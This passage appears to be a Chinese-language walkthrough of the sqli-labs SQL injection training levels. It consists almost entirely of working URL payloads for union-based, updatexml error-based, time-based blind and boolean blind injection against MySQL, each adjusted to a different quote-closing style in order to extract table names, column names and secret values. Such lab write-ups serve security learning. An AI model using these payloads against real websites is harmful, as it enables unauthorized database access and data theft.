?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='3ws6cg0a91' --+
查询secret_KO2H:
?id=-1" union select 1,group_concat(secret_KO2H),3 from 3ws6cg0a91 --+
提交即可
这关无法使用union select,并且只有5次机会
使用报错注入
爆破数据库
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?id=-1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges'),0x7e),1) --+
爆破6ykqspiws7表的列
?id=-1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='6ykqspiws7' limit 2,1),0x7e),1) --+
?id=-1' and updatexml(1,concat(0x7e,(select secret_K2GB from 6ykqspiws7),0x7e),1) --+
提交即可
类似于Less-58
爆破数据库
?id=-1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?id=-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges'),0x7e),1) --+
爆破g3jtrmzs0o表的列
?id=-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='g3jtrmzs0o' limit 2,1),0x7e),1) --+
查询secret_5B28:
?id=-1 and updatexml(1,concat(0x7e,(select secret_5B28 from g3jtrmzs0o),0x7e),1) --+
提交即可
相比于前面,闭合方式为 ")
爆破数据库
?id=-1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?id=-1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges'),0x7e),1) --+
爆破tktfg5ywhx表的列
?id=-1") and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='tktfg5ywhx' limit 2,1),0x7e),1) --+
查询secret_Q4RW:
?id=-1") and updatexml(1,concat(0x7e,(select secret_Q4RW from tktfg5ywhx),0x7e),1) --+
提交即可
闭合方式为 '))
爆破数据库
?id=-1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+
爆破数据表
?id=-1')) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges'),0x7e),1) --+
爆破di4tfrpjh3表的列
?id=-1')) and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='di4tfrpjh3' limit 2,1),0x7e),1) --+
查询secret_F2RC:
?id=-1')) and updatexml(1,concat(0x7e,(select secret_F2RC from di4tfrpjh3),0x7e),1) --+
提交即可
union select无法使用且没有报错返回
使用时间盲注
猜解数据库名
?id=1') and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
ASCII中99对于字母“c”
其他猜解参考Less-8
同上,闭合方式不同于上题
?id=1' and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
))闭合
?id=1)) and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
")闭合
?id=1") and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
补充:
布尔盲注,报错注入
布尔盲注:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
?id=1'and (length(database()))>10 --+
当前数据库database()的长度大于10,返回true页面,否则FALSE页面
报错注入还有其他方法,前文主要使用了updatexml()
参考:十种MySQL报错注入 - 我擦咧什么鬼 - 博客园